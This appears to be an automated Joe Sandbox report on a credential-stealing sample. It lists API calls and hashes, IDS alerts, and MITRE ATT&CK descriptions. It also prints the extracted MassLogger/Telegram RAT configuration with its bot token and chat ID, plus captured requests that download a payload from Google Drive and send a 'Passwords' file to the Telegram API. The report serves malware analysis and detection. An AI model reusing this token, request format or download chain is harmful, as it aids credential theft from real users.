Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco", "Telegram Chatid": "6897585916"}
Source: 14lVOjBoI2.exe.8088.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendMessage"}

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7D1EC CryptUnprotectData,		5_2_38D7D1EC
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_38D7D9D9 CryptUnprotectData,		5_2_38D7D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49717 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49723 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49727 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49717 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49727 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49721 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49721 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49723 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49715 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49715 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49713 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49713 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49719 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49719 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31de218acfdcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32068823f644Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3219f29a7316Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32385951acebHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3248dfac04a0Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32595b5c71f3Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd326b2a85fce9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31de2b830c3eHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D70671h	5_2_38D703AF
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D71042h	5_2_38D70C28
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7C985h	5_2_38D7C638
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7F2F8h	5_2_38D7F044
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7B339h	5_2_38D7B07F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7C499h	5_2_38D7C1F2
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7BBE9h	5_2_38D7B930
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7DD40h	5_2_38D7DA89
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7EEA0h	5_2_38D7EBF4
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7E5F0h	5_2_38D7E339
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7B791h	5_2_38D7B4EC
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D71042h	5_2_38D70C1B
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7C041h	5_2_38D7BD88
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7E198h	5_2_38D7DEE1
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D7EA48h	5_2_38D7E790
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38D71042h	5_2_38D70F6F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC6610h	5_2_38DC6368
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then push 00000000h	5_2_38DCBDF0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC882Dh	5_2_38DC8650
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC91B7h	5_2_38DC8650
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC1B00h	5_2_38DC1858
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC7318h	5_2_38DC7070
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC4ACAh	5_2_38DC4820
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC2C60h	5_2_38DC29B8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC23B0h	5_2_38DC2108
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC5D60h	5_2_38DC5AB8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC3510h	5_2_38DC3268
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC54B0h	5_2_38DC5208
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC4670h	5_2_38DC43C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_38DC7B4F
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC3DC0h	5_2_38DC3B18
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC7770h	5_2_38DC74C8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC1F58h	5_2_38DC1CB0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC6EC0h	5_2_38DC6C18
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC16A8h	5_2_38DC1400
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC5058h	5_2_38DC4DB0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC2808h	5_2_38DC2560
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC3968h	5_2_38DC36C0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC5908h	5_2_38DC5660
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC30B8h	5_2_38DC2E10
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC6A68h	5_2_38DC67C0
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC1250h	5_2_38DC0FA8
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC4218h	5_2_38DC3F70
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then jmp 38DC61B8h	5_2_38DC5F10
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 4x nop then push 00000000h	5_2_392CE5C8

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49716 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49714 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49711 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49709 -> 142.250.185.142:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
